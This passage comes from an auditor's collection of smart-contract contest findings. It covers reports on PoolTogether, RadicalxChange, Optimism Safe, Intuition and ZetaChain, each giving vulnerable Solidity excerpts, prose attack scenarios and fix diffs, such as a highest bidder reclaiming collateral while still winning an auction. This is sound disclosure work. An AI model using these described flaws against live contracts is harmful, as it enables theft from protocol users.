477 | This will not be the case for all `yieldVaults` supported by `PrizeVault`, where the amount can decrease if there is no enough balance in the vault for example, as that of `Beefy Vaults`.
478 |
479 | [BIFI/vaults/BeefyWrapper.sol#L156-L158](https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/vaults/BeefyWrapper.sol#L156-L158)
480 | ```solidity
481 | function _withdraw( ... ) internal virtual override {
482 | ...
483 |
484 | uint balance = IERC20Upgradeable(asset()).balanceOf(address(this));
485 | if (assets > balance) {
486 | // @audit the assets requested for withdrawal will decrease
487 | assets = balance;
488 | }
489 |
490 | IERC20Upgradeable(asset()).safeTransfer(receiver, assets);
491 |
492 | emit Withdraw(caller, receiver, owner, assets, shares);
493 | }
494 | ```
495 |
496 | And ofc if there is a fee on withdrawals, the amount will decrease but this is OOS.
497 |
498 | ## Recommended Mitigations
499 |
500 | Check the returned value of assets transferred after withdrawing, and take suitable action if the value differs from the value requested. And take suitable action like emitting events to let Devs know what problem occurred when this user withdrew.
501 |
502 | ---
503 |
504 | ## [L-01] Claiming Yields Fees can be done in `recovery mode` breaks protocol invariants
505 |
506 | ### Impact
507 |
508 | When claiming yieldsFee by the `yieldFeeRecipent`, the function did not check if the vault is `normal state (winning)` or in the `recovery mode (losing)`.
509 |
510 | [PrizeVault.sol#L611-L622](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L611-L622)
511 | ```solidity
512 | function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient {
513 | if (_shares == 0) revert MintZeroShares();
514 |
515 | uint256 _yieldFeeBalance = yieldFeeBalance;
516 | if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance);
517 |
518 | yieldFeeBalance -= _yieldFeeBalance;
519 |
520 | // @audit No checking if we are in recovery mode or not before minting
521 | _mint(msg.sender, _shares);
522 |
523 | emit ClaimYieldFeeShares(msg.sender, _shares);
524 | }
525 | ```
526 |
527 | So the yieldFeeReceipent can claim his yields, minting new shares to him even if the protocol is in `recovery mode`.
528 |
529 | According to protocol invariants, `no new deposits or mints allowed` in the recovery mode
530 |
531 | > README
532 | >> `Yield Vault has Loss of Funds (recovery mode)`
533 | >> - no new deposits or mints allowed
534 |
535 | So if the protocol is in recovery mode new mints can occur, which is an action the protocol should not perform.
536 |
537 | After investigating the case, I found that the other protocol invariants will not affected. Where the `totalDept is determined by totalSupply + yieldFeeBalance`.
538 |
539 | [PrizeVault.sol#L790-L792C6](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L790-L792C6)
540 | ```solidity
541 | function _totalDebt(uint256 _totalSupply) internal view returns (uint256) {
542 | return _totalSupply + yieldFeeBalance;
543 | }
544 | ```
545 |
546 | So this will not change the calculations of `totalAssets` to the `totalDept` ratio, just invariant breaks, which made me label this issue as MEDIUM not HIGH.
547 |
548 | ## Proof of Concept
549 |
550 | Here is a scenario where this could happen.
551 |
552 | - People deposit their money in the `PrizeVault`.
553 | - The protocol `yieldVault` earns yields.
554 | - `LiquidationPair` did liquidation (claim yields), and participated in the prize pool.
555 | - The process occurs again and again and the accumulated fees increase.
556 | - `yieldVault` losses and the `prizeVault` recovery mode reached (totalAssets < totalDept).
557 | - The `yieldFeeRecipent` claimed his fees, minting new shares to him in the recovery mode.
558 | - Protocol invariants broke.
559 |
560 | ### Tools Used
561 | Manual Review
562 |
563 | ### Recommended Mitigation Steps
564 | Prevent claiming fees if the protocol is in the `recovery mode`.
565 |
566 | ```diff
567 | function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient {
568 | if (_shares == 0) revert MintZeroShares();
569 |
570 | uint256 _yieldFeeBalance = yieldFeeBalance;
571 | if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance);
572 |
573 | + require(totalAssets() >= totalDebt(), "Can't mint shares in recovery mode");
574 | yieldFeeBalance -= _yieldFeeBalance;
575 |
576 | _mint(msg.sender, _shares);
577 |
578 | emit ClaimYieldFeeShares(msg.sender, _shares);
579 | }
580 | ```
581 |
582 | ---
583 |
584 | ## [L-02] Checking previous approval before `permit()` is done with strict equality
585 |
586 | In `PrizeVault::depositWithPermit`, the check that is implemented by the protocol to overcome griefing users by frontrunning permit signing, is to check if the owner allowance equals or does not equal the assets being transferred.
587 |
588 | [PrizeVault.sol#L539-L541](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L539-L541)
589 | ```solidity
590 | function depositWithPermit(... ) external returns (uint256) {
591 | ...
592 |
593 | // @audit strict check (do not check if the allowance exceeds required)
594 | if (_asset.allowance(_owner, address(this)) != _assets) {
595 | IERC20Permit(address(_asset)).permit(_owner, address(this), _assets, _deadline, _v, _r, _s);
596 | }
597 |
598 | ...
599 | }
600 | ```
601 |
602 | So if the user approval exceeds the amount he wanted to do, the permit still will occur.
603 |
604 | - Let's say Bob approved 1000 tokens.
605 | - Bob wants to transfer 500 tokens.
606 | - Bob first the function `depositWithPermit()`.
607 | - (1000 != 500), and Bob will have an allowance of 1500 tokens when he only needs 500.
608 |
609 | ## Recommended Mitigations
610 | Allow permit if the allowance is Smaller than the required assets
611 |
612 | ```diff
613 | function depositWithPermit(... ) external returns (uint256) {
614 | ...
615 |
616 | - if (_asset.allowance(_owner, address(this)) != _assets) {
617 | + if (_asset.allowance(_owner, address(this)) < _assets) {
618 | IERC20Permit(address(_asset)).permit(_owner, address(this), _assets, _deadline, _v, _r, _s);
619 | }
620 |
621 | ...
622 | }
623 | ```
624 | ---
625 |
626 | ## [L-03] No checking for Breefy Vault strategies state (paused or not)
627 |
628 | When depositing or minting into a vault, the check that is done by the `ERC4626` is checking the `maxDeposit` parameter.
629 |
630 | This function `maxDeposit()` will return 0 if the Vault is in pause state like AAVE-v3 [link](https://github.com/timeless-fi/yield-daddy/blob/main/src/aave-v3/AaveV3ERC4626.sol#L161-L164).
631 |
632 | But In case of breefy, when depositing The function go to the internal deposie function first
633 |
634 | 1. [BIFI/vaults/BeefyWrapper.sol#L117-L130](https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/vaults/BeefyWrapper.sol#L117-L130)
635 | ```solidity
636 | // BeefyWrapper.sol
637 | function _deposit( ... ) internal virtual override {
638 | ...
639 | // @audit Step 1
640 | IVault(vault).deposit(assets);
641 |
642 | ...
643 | }
644 | ```
645 | 2. [/BIFI/vaults/BeefyVaultV7.sol#L100-L115](https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/vaults/BeefyVaultV7.sol#L100-L115)
646 | ```solidity
647 | // BeefyVaultV7.sol
648 | function deposit(uint _amount) public nonReentrant {
649 | // @audit Step 2
650 | strategy.beforeDeposit();
651 |
652 | ...
653 | }
654 | ```
655 | 3. [BIFI/strategies/Aave/StrategyAaveSupplyOnlyOptimism.sol#L104-L109](https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/strategies/Aave/StrategyAaveSupplyOnlyOptimism.sol#L104-L109)
656 | ```solidity
657 | // @audit Step 3
658 | // StrategyAaveSupplyOnlyOptimism.sol (We took AAVE Optmism as an example)
659 | function beforeDeposit() external override {
660 | if (harvestOnDeposit) {
661 | require(msg.sender == vault, "!vault");
662 | _harvest(tx.origin);
663 | }
664 | }
665 | ```
666 | 4. [BIFI/strategies/Aave/StrategyAaveSupplyOnlyOptimism.sol#L124-L139](https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/strategies/Aave/StrategyAaveSupplyOnlyOptimism.sol#L124-L139)
667 | ```solidity
668 | // @audit Step4
669 | /* ︾ */
670 | function _harvest( ... ) internal whenNotPaused gasThrottle {
671 | ...
672 | }
673 | ```
674 |
675 | So if the Breedy strategy vault is paused, the depositing will revert, and can not occur.
676 |
677 | ## Recommended Mitigations
678 | Checking if the vault is paused or not is not directly supported, we need to check the strategy contract itself. However since the beefy wrapper supports more than one Strategy, checking the state may differ from one Strategy to another, but if all Strategies have the same interface, the check can be implemented before depositing.
679 |
680 | ---
681 | ---
682 |
683 | ## [NC-01] Assets must precede the shares according to the ERC4626 standard
684 |
685 | In the implementation of `PrizeVault::_burnAndWithdraw()`, the function takes shares then it takes the assets parameter at the end. And this is not the way assets and shares are provided to the ERC4626 functions.
686 |
687 | [PrizeVault.sol#L887-L893](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L887-L893)
688 | ```solidity
689 | function _burnAndWithdraw(
690 | address _caller,
691 | address _receiver,
692 | address _owner,
693 | uint256 _shares, // @audit Order should be (_assets, _shares) as that of ERC4626
694 | uint256 _assets
695 | ) internal {
696 | ...
697 | }
698 | ```
699 |
700 | All functions depositing/minting/withdrawing/redeeming in ERC4626 make the assets parameter first then shares.
701 |
702 | ### Recommended Mitigations
703 | Make the assets first, then the shares at the last in `PrizeVault::_burnAndWithdraw()`.
704 |
705 | _NOTE: You will have to change all the calling of this function in PrizeVault + testing scripts files_.
706 |
--------------------------------------------------------------------------------
/Contests/2024-03-radicalxChange.md:
--------------------------------------------------------------------------------
1 | ## Summary
2 |
3 | |ID|Title|
4 | |:-:|-----|
5 | |[H-01](#h-01-the-highest-bidder-can-steal-the-collateral-and-win-the-auction-without-paying)|The Highest Bidder can steal the collateral and win the auction without paying|
6 | |||
7 | |[M-01](#m-01-no-fees-state-makes-the-auction-process-insolvable)|No Fees state makes the Auction process insolvable|
8 |
9 |
10 | ---
11 |
12 | ## [H-01] The Highest Bidder can steal the collateral and win the auction without paying
13 |
14 | ### Summary
15 | Because of not checking the bidder of the bid being canceled canceling in `EnglishPeriodicAuctionInternal::_cancelAllBids`, the Highest bidder can cancel his Bid keeping himself as the Highest Bidder.
16 |
17 | ### Vulnerability Detail
18 |
19 | When a Bidder wants to cancel his Bid using `EnglishPeriodicAuctionInternal::_cancelBid`, the function provides a check to prevent the Highest Bidder from canceling his Bid. And this is a must to prevent him from taking his `collateralAmount` and winning the Auction without paying.
20 |
21 | [auction/EnglishPeriodicAuctionInternal.sol#L393-L396](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L393-L396)
22 | ```solidity
23 | function _cancelBid( ... ) internal {
24 | ...
25 |
26 | // @audit The Highest can not cancel his Bid
27 | require(
28 | <@ bidder != l.highestBids[tokenId][round].bidder,
29 | 'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'
30 | );
31 |
32 | ...
33 | }
34 |
35 | ```
36 |
37 | But in `EnglishPeriodicAuctionInternal::_cancelAllBids`, this check is missing. besides, it takes the `currentAuctionRound` into consideration.
38 |
39 | ```solidity
40 | function _cancelAllBids(uint256 tokenId, address bidder) internal {
41 | ...
42 |
43 | // @audit this loop even take currentAuctionRound in consideration
44 | for (uint256 i = 0; i <= currentAuctionRound; i++) {
45 | Bid storage bid = l.bids[tokenId][i][bidder];
46 |
47 | if (bid.collateralAmount > 0) {
48 | // @audit No checking if this Bid is the Highest Bid or not
49 | ❌️ l.availableCollateral[bidder] += bid.collateralAmount;
50 | ...
51 | }
52 | }
53 | ```
54 |
55 | This means anyone even the Highest Bidder of the `currentAuctionRound` can cancel his Bid using this function, and this behavior should not occur to prevent stealing collateral as we discussed earlier.
56 |
57 | This will make the Highest Bidder (Attacker) withdraw his collateral (`ETH`) before the end of the auction, and when closing the Auction, the following will occur.
58 |
59 | 1. The Highest Bidder (Attacker) will receive the token without paying anything.
60 | 2. The `oldBidder` (Owner of the token), will gain nothing, and lose his token.
61 | 3. The `Beneficiary` will not gain his fees for that Auction Period.
62 |
63 |
64 | ### Impact
65 | 1. The Highest Bidder (Attacker) will receive the token without paying anything.
66 | 2. The `oldBidder` (Owner of the token), will gain nothing, and lose his token.
67 | 3. The `Beneficiary` will not gain his fees for that Auction Period.
68 |
69 |
70 | ### Code Snippet
71 | https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L422-L433
72 |
73 | ### Tool used
74 | Manual Review
75 |
76 | ### Recommendation
77 | Prevent the execution of the function if the caller (Bidder) is the Highest bidder of the current round.
78 |
79 | > EnglishPeriodicAuctionInternal::_cancelAllBids
80 | ```diff
81 | function _cancelAllBids(uint256 tokenId, address bidder) internal {
82 | EnglishPeriodicAuctionStorage.Layout
83 | storage l = EnglishPeriodicAuctionStorage.layout();
84 |
85 | uint256 currentAuctionRound = l.currentAuctionRound[tokenId];
86 |
87 | + require(
88 | + bidder != l.highestBids[tokenId][currentAuctionRound].bidder,
89 | + 'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'
90 | + );
91 |
92 | for (uint256 i = 0; i <= currentAuctionRound; i++) { ... }
93 | }
94 | ```
95 |
96 | ---
97 |
98 | ## [M-01] No Fees state makes the Auction process insolvable
99 |
100 | ### Summary
101 | If the Collection Admin sets no fees, the auction process will break
102 |
103 | ### Vulnerability Detail
104 |
105 | The Collection Admin (Artist) can set fees to get collected after the finalization of the auction. The fees are set by using [`feeDenominator`](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/pco/facets/PeriodicPCOParamsFacet.sol#L124-L128) and [`feeNumerator`](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/pco/facets/PeriodicPCOParamsFacet.sol#L108-L112).
106 |
107 | If the Artist wants to set fees to zero, he can set the `feeNumerator` to zero, to make the fees `0%`.
108 |
109 | The problem is that the Auction Contract does not take `zero fees state` in consideration. Where it forces a check that the `collateralAmount` should be greater than the `bidAmount`.
110 |
111 | [auction/EnglishPeriodicAuctionInternal.sol#L329-L332](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L329-L332)
112 | ```solidity
113 | function _placeBid( ... ) internal {
114 | ...
115 |
116 | if (bidder == currentBidder) {
117 | // If current bidder, collateral is entire fee amount
118 | feeAmount = totalCollateralAmount;
119 | } else {
120 | // @audit totalCollateralAmount equals bidAmount in zero fees state, the tx will revert in this case
121 | require(
122 | ❌️ totalCollateralAmount > bidAmount,
123 | 'EnglishPeriodicAuction: Collateral must be greater than current bid'
124 | );
125 | // If new bidder, collateral is bidAmount + fee
126 | feeAmount = totalCollateralAmount - bidAmount;
127 | }
128 |
129 | // @audit check that the bidAmound to fees is correct
130 | require(
131 | _checkBidAmount(bidAmount, feeAmount),
132 | 'EnglishPeriodicAuction: Incorrect bid amount'
133 | );
134 |
135 | ...
136 | }
137 |
138 | ```
139 |
140 | This is the case if there is fees taken from the bid, but in case of zero fees this is not the case, as the `collateralAmount` will equal the `bidAmount`.
141 |
142 | The bidder can not increase the bid by `1 wei` to just pass the check, as if he did that, the feeAmount will equal 1, and the transaction will revert in `_checkBidAmount()`, as the `feeAmount` should be zero.
143 |
144 | This will make All Bidding processes in a DoS, if the Collection Admin (Artist) made fees equal to zero.
145 |
146 | The issue could be more serious, where if the Collection Admin (Artist) chooses to make his NFT Collection Fully decentralized By initializing the Auction without `Auction Pitch Admin` role (this is normal behavior and allowed), he will not be able to change the fees again.
147 |
148 | ### Impact
149 | The Artist who wants to make their NFT collections with zero fees will make their auction process break and insolvable.
150 |
151 | ### Code Snippet
152 | https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L329-L332
153 |
154 | ### Tool used
155 | Manual Review
156 |
157 | ### Recommendation
158 | Change the Condition by making it `>=` rather than `>` to accept the zero fees state.
159 |
160 | > auction/EnglishPeriodicAuctionInternal::_placeBid() L:330
161 | ```diff
162 | function _placeBid( ... ) internal {
163 | ...
164 |
165 | if (bidder == currentBidder) {
166 | ...
167 | } else {
168 | require(
169 | - totalCollateralAmount > bidAmount,
170 | + totalCollateralAmount >= bidAmount,
171 | 'EnglishPeriodicAuction: Collateral must be greater than current bid'
172 | );
173 | ...
174 | }
175 |
176 | ...
177 | }
178 | ```
179 |
--------------------------------------------------------------------------------
/Contests/2024-05-optimism-safe.md:
--------------------------------------------------------------------------------
1 | # OP Labs | safe-extensions
2 |
3 | Optimism-safe || MultiSig, Safe Wallet || 6 May 2024 to 10 May 2024 on [cantina](https://cantina.xyz/leaderboard/d47f8096-8858-437d-a9f5-2fe85ac9b95e)
4 |
5 | ## Summary
6 |
7 | |ID|Title|
8 | |:-:|-----|
9 | |[M-01](#m-01-council-safe-owners-thresholds-invariants-are-not-verified-in-normal-executions)|`Council SAFE` Owners' thresholds Invariants are not verified in normal executions|
10 | |[L-01](#l-01-foundation-wallet-can-make-council-wallet-do-calls-to-arbitrary-addresses)|Foundation Wallet can make Council Wallet do calls to arbitrary addresses|
11 | |[I-01](#i-01-duplicate-importing-of-the-same-contract-interface)|Duplicate Importing of the Same Contract Interface|
12 |
13 | ---
14 |
15 | ## [M-01] `Council SAFE` Owners' thresholds Invariants are not verified in normal executions
16 |
17 | ### Relevant Context
18 | [LivenessGuard.sol#L125-L149
19 | ](https://cantina.xyz/code/d47f8096-8858-437d-a9f5-2fe85ac9b95e/packages%2Fcontracts-bedrock%2Fsrc%2FSafe%2FLivenessGuard.sol?scope=in_scope#L125-L149)
20 |
21 | ### Finding Description
22 | Council `SAFE` wallet must have a threshold of at least `75%` of the owners, this threshold is being configured when one of the owners is removed using `LivenessModule.sol`.
23 |
24 | [LivenessModule.sol#L240-L244](https://cantina.xyz/code/d47f8096-8858-437d-a9f5-2fe85ac9b95e/packages%2Fcontracts-bedrock%2Fsrc%2FSafe%2FLivenessModule.sol?scope=in_scope#L240-L244)
25 | ```solidity
26 | function _verifyFinalState() internal view {
27 | ...
28 |
29 | // @audit verify that the new threshold is `75%`, after removing owners
30 | uint256 threshold = SAFE.getThreshold();
31 | require(
32 | threshold == getRequiredThreshold(numOwners),
33 | "LivenessModule: Insufficient threshold for the number of owners"
34 | );
35 | }
36 | ```
37 |
38 | The owner will be removed if he did not show his liveness in `LivenessGuard`, and if `LIVENESS_PERIOD` passes, it will be able to get removed by anyone using `LivenessModule`.
39 |
40 | The problem here is that the protocol uses this check to confirm that all `SAFE` owners have access to their Private keys and no one lost his key. However, what about the case of stealing the key?
41 |
42 | If one of `SAFE` owners noticed that his Private Key got stolen, the council should remove that owner, but if this wallet owner showed his Liveness recently, they should remove it by doing a tx using `SAFE::execTransaction()` (Sign Multisig tx to remove that owner), as using `LivenessModule` will not allow them to remove him in this case.
43 |
44 | And this is the problem, when removing the owner whose key got stolen, the `threshold` value is not checked if it is still >= `75%` or not, so if the value of the `threshold` changes wrongly the Wallet will be set with wrong threshold, as the value is passed as a parameter, and is not verified.
45 |
46 | This is an `ADMIN` issue after all, But as the team designed the MultiSig invariants to be onchain, having such a thing not checked onchain makes centralization issues, especially when dealing with Big Protocols like Layer2(s).
47 |
48 | And there are other invariant which is `MIN_OWNERS`, but since removing owners below that number will give the accessibility for anyone to remove others it is not that big thing.
49 |
50 | _**In Breif**: Invariants are only checked if removing/adding owners is done by `LivenessModule`, but not if it is done using the wallet itself. And we pointed out why the Wallet will need to do such a tx._
51 |
52 | ## Impact Explanation
53 | Council `SAFE` can be left with threshold smaller than required, or getting set wrongly. And if it is set with smaller threshold than required, then a small group can combine together to kick off the rest and replace there wallets with another ones. taking the control of the Council which is a critical wallet.
54 |
55 | ### Likelihood Explanation
56 |
57 | Likelihood: LOW, as it is an ADMIN mistake.
58 |
59 | Severity: HIGH
60 | - a partial group of the council can control the wallet, and kick off others.
61 | - Breaking threshold invariant.
62 |
63 |
64 | ### Proof of Concept
65 |
66 | - One of the Wallet Owners noticed that his key got stoled (and it may be 2 or 3)
67 | - This person Notified The Council about the problem
68 | - The Council wanted to make a batch transaction to remove the Old Owner(s) (whose private key(s) got stolen) and add new one(s).
69 | - The threshold is set wrongly by mistake.
70 | - The Wallet will be in a state of the wrong threshold, which is not a desired state.
71 |
72 | NOTE: setting the number wrongly can be a mistake, or some of the council may try to deceive others into signing such a transaction, and there is no onchain check that will prevent that tx.
73 |
74 | 1. Making threshold value less value (firing the tx as it is getting signed)
75 | 2. The Malicious Owners fired another tx to kick off the others and replace their keys with the keys they control.
76 |
77 | This scenario is a bit hard and may be unrealistic, but I wanted to point out all the cases that can occur.
78 |
79 |
80 | ### Recommendation
81 | Check the threshold is not set wrongly in `LivenessGuard::checkAfter()`.
82 |
83 | ```diff
84 | function checkAfterExecution(bytes32, bool) external {
85 | ...
86 |
87 | + uint256 THRESHOLD_PERCENTAGE = 75;
88 | + uint256 requiredThreshold = (ownersAfter.length * THRESHOLD_PERCENTAGE + 99) / 100;
89 | + require(SAFE.getThreshold() == requiredThreshold, "LivenessGuard: Threshold was set incorrectly");
90 | }
91 | ```
92 |
93 | This will not only prevent changing owners wrongly, or the malicious actions between council members. but it will also verify all council `SAFE` TXs including changing threshold tx itself, and preserves >= `75%` invariant.
94 |
95 | And for the `MIN_OWNERS` check, I pointed out that anyone can use `LivenessModule` to transfer the ownership to `FALLBACK_OWNER`, if the numbers became less than `MIN_OWNERS (8)`.
96 |
97 | ---
98 |
99 | ## [L-01] Foundation Wallet can make Council Wallet do calls to arbitrary addresses
100 |
101 | ### Description
102 | In `DeputyGuarduanModule::blacklistDisputeGame()` and `DeputyGuarduanModule::setRespectedGameType()`, the Portal address is passed by the Foundartion wallet (DeputyGuardian). this should be one of the OP_Portal contracts, but what if the address was not one of them?
103 |
104 | Since the encoding happens according to `blacklistDisputeGame()` and `setRespectedGameType()` functions, the function signature is restricted only to two values, so this should not make Council `SAFE` affected by these calls.
105 |
106 | However, since the council wallet is a critical wallet having such a thing is not ideal. We do not know what are the contracts the council `SAFE` has the authority of it, and there may be a signature collision in one of them that allows the Foundation Wallet to force the Council wallet for unintended behavior.
107 |
108 | ### Recommendation
109 | Don't allow the call to any address, and make it restricted to only a number of addresses. This can be done by implementing `EnumerableSet` DS from `OpenZeppelin` for the available addresses.
110 |
111 | Another solution (partial mitigation configured by OP team) is to make another wallet (Guardian Wallet) as the wallet that will have the Desputy Guardian module. but this will not prevent Foundation from letting Guardian Wallet do arbitrary calls, but it is OK as the wallet should not be that important.
112 |
113 | ---
114 |
115 | ## [I-01] Duplicate Importing of the Same Contract Interface
116 |
117 | ### Description
118 | In `LivenessModule` contract, `OwnerManager` interface is imported twice as seen in the codesniped.
119 |
120 | ### Recommendations
121 | Import it only one time
122 |
123 |
--------------------------------------------------------------------------------
/Contests/2024-06-Intuition.md:
--------------------------------------------------------------------------------
1 | # Intuition
2 | Intuition contest || Account Abstraction, Vaults || 21 Jun 2024 to 05 Jul 2024 on [hats.finance](https://app.hats.finance/audit-competitions/intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/leaderboard)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |--|-----|:------:|
8 | |[L‑01](#l-01-changing-atomwarden-will-result-in-losing-atomwalletinitialdepositamount-for-created-and-not-deployed-atoms)|Changing `atomWarden` will result in losing `atomWalletInitialDepositAmount` for Created and not Deployed Atoms|LOW|
9 | |[L-02](#l-02-unchecking-passed-value-in-setatomdepositfractionfortriple-to-feedenominator)|Unchecking passed value in `setAtomDepositFractionForTriple()` to feeDenominator|LOW|
10 |
11 | ---
12 |
13 | ## [L-01] Changing `atomWarden` will result in losing `atomWalletInitialDepositAmount` for Created and not Deployed Atoms
14 |
15 | ### Description
16 |
17 | When creating new Atom wallets, there are two processes. First, is the creation of the atom vault. Second, is deploying the wallet.
18 |
19 | When creating atom, `atomWalletInitialDepositAmount` goes to the atom wallet address that will be deployed using the current ID.
20 |
21 | [EthMultiVault.sol#L481-L488](https://github.com/hats-finance/Intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/blob/main/src/EthMultiVault.sol#L481-L488)
22 | ```solidity
23 | address atomWallet = computeAtomWalletAddr(id);
24 |
25 | // deposit atomWalletInitialDepositAmount amount of assets and mint the shares for the atom wallet
26 | _depositOnVaultCreation(
27 | id,
28 | atomWallet, // receiver
29 | atomConfig.atomWalletInitialDepositAmount
30 | );
31 | ```
32 |
33 | When creating `atomWallet` address that will receive the initialDeposit, it is calculating using the current args, and `atomWarden` is one of the args.
34 |
35 | [EthMultiVault.sol#L1421-L1423](https://github.com/hats-finance/Intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/blob/main/src/EthMultiVault.sol#L1421-L1423)
36 | ```solidity
37 | bytes memory initData = abi.encodeWithSelector(
38 | @> AtomWallet.init.selector, IEntryPoint(walletConfig.entryPoint), walletConfig.atomWarden, address(this)
39 | );
40 | ```
41 |
42 | But in case of deploying, we recompute this address again.
43 |
44 | [EthMultiVault.sol#L366](https://github.com/hats-finance/Intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/blob/main/src/EthMultiVault.sol#L366)
45 | ```solidity
46 | function deployAtomWallet(uint256 atomId) external whenNotPaused returns (address) {
47 | if (atomId == 0 || atomId > count) {
48 | revert Errors.MultiVault_VaultDoesNotExist();
49 | }
50 |
51 | // compute salt for create2
52 | bytes32 salt = bytes32(atomId);
53 |
54 | // get contract deployment data
55 | @> bytes memory data = _getDeploymentData();
56 | ...
57 | assembly {
58 | atomWallet := create2(0, add(data, 0x20), mload(data), salt)
59 | }
60 | ...
61 | }
62 | ```
63 |
64 | So all AtomVaults that did not deployed there Wallets, will not be able to claim their initialAmount, if the `atomWarden` changed.
65 |
66 | **Senario**
67 | - UserA Created atom wallet
68 | - After a while, the team changed `atomWarden` using `setAtomWarden`
69 | - UserA deployed his AtomWallet using its vault ID, but the address is totally different from the one the received `InitialDepositAmount`
70 |
71 | ### Recommendations
72 | In case of changing AtomWarden, you need to check that all created atoms gets deployed. this can either be done on-chain, or off-chain.
73 |
74 | ---
75 |
76 | ## [L-02] Unchecking passed value in `setAtomDepositFractionForTriple()` to feeDenominator
77 |
78 | ### Description
79 | There are two types of fees that can be taken when deploying, depositing or redeeming from vaults.
80 |
81 | - Static Fees
82 | - % of fees relative to the deposited/redeemed amount
83 |
84 | When setting the % of fees, the team checks that they do not exceeds `feeDenominator`. this can be seen in `setEntryFee()`, `setExitFee()`, and `setProtocolFee()`.
85 |
86 | The problem lies in `setAtomDepositFractionForTriple()`, where there is no check for this value relative to the `feeDenominator`.
87 |
88 | [EthMultiVault.sol#L270-L272](https://github.com/hats-finance/Intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/blob/main/src/EthMultiVault.sol#L270-L272)
89 | ```solidity
90 | function setAtomDepositFractionForTriple(uint256 atomDepositFractionForTriple) external onlyAdmin {
91 | tripleConfig.atomDepositFractionForTriple = atomDepositFractionForTriple;
92 | }
93 | ```
94 | This fees is a percentage fees taken from the amount deposited to TripleVaults, and goes to the Atom Vaults this TripleVault refers too.
95 |
96 | [EthMultiVault.sol#L1210-L1213](https://github.com/hats-finance/Intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/blob/main/src/EthMultiVault.sol#L1210-L1213)
97 | ```solidity
98 | function atomDepositFractionAmount(uint256 assets, uint256 id) public view returns (uint256) {
99 | uint256 feeAmount = isTripleId(id) ? _feeOnRaw(assets, tripleConfig.atomDepositFractionForTriple) : 0;
100 | return feeAmount;
101 | }
102 | ```
103 |
104 | As we can see it is a % with respect to the total deposited. The problem will occur if there is no prevention from setting `atomDepositFractionForTriple` with value >= feeDenominator.
105 |
106 | This will make the process revert because of underflow error, as fees is expected to be smaller than the real value.
107 |
108 | ### Recommendations
109 |
110 | Check that the value do not exceeds to equal `feeDenominator`. And it can get capped to a given value like `feeDenominator / 2` to something.
111 |
112 | > EthMultiVault::setAtomDepositFractionForTriple()
113 |
114 | ```diff
115 | function setAtomDepositFractionForTriple(uint256 atomDepositFractionForTriple) external onlyAdmin {
116 | + require(atomDepositFractionForTriple < generalConfig.feeDenominator, "EthMultiVault: exceeds Denominator");
117 | tripleConfig.atomDepositFractionForTriple = atomDepositFractionForTriple;
118 | }
119 | ```
120 |
--------------------------------------------------------------------------------
/Contests/2024-08-zetachain.md:
--------------------------------------------------------------------------------
1 | # ZetaChain
2 | ZetaChain contest || Layer1, Cross Chain, Omnichain || 19 Aug 2023 to 04 Sept 2024 on [cantina](https://cantina.xyz/competitions/80a33cf0-ad69-4163-a269-d27756aacb5e/leaderboard)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |:-:|-----|:------:|
8 | |[H‑01](#h-01-all-zetatoken-transfers-from-evm---zeta-cant-be-recovered)|All ZetaToken Transfers from `EVM -> Zeta` can't be recovered|HIGH|
9 | |[H-02](#h-02-revertcontext-struct-implementation-uses-uint64-for-assets-to-recover-which-is-too-small)|`RevertContext` struct implementation uses `uint64` for assets to recover which is too small|HIGH|
10 | ||||
11 | |[M‑01](#m-01-universal-apps-cant-verify-the-original-message-source-in-case-of-recovery)|Universal Apps can't verify the original message source in case of recovery|MEDIUM|
12 | |[M-02](#m-02-forcing-gas_limit-in-native-token-transfers-can-make-smart-contracts-receiving-go-oog)|Forcing `GAS_LIMIT` in native token transfers can make Smart Contracts receiving go OOG|MEDIUM|
13 | |[M-03](#m-03-malicious-users-can-manipulate-revertable-contracts-onrevert-as-a-normal-message-on-evm-chains)|Malicious users can manipulate `Revertable` Contracts `onRevert()` as a normal message on `EVM` chains|MEDIUM|
14 | |[M-04](#m-04-message-transfereing-with-onrevert-cant-get-recovered)|Message transfereing with `onRevert()` can't get recovered|MEDIUM|
15 | |[M-05](#m-05-handling-reverting-with-onrevert-support-for-zeta---evm-will-always-revert-if-the-token-is-zetatoken)|Handling Reverting with `onRevert()` support for `Zeta -> EVM` will always revert if the token is ZetaToken|MEDIUM|
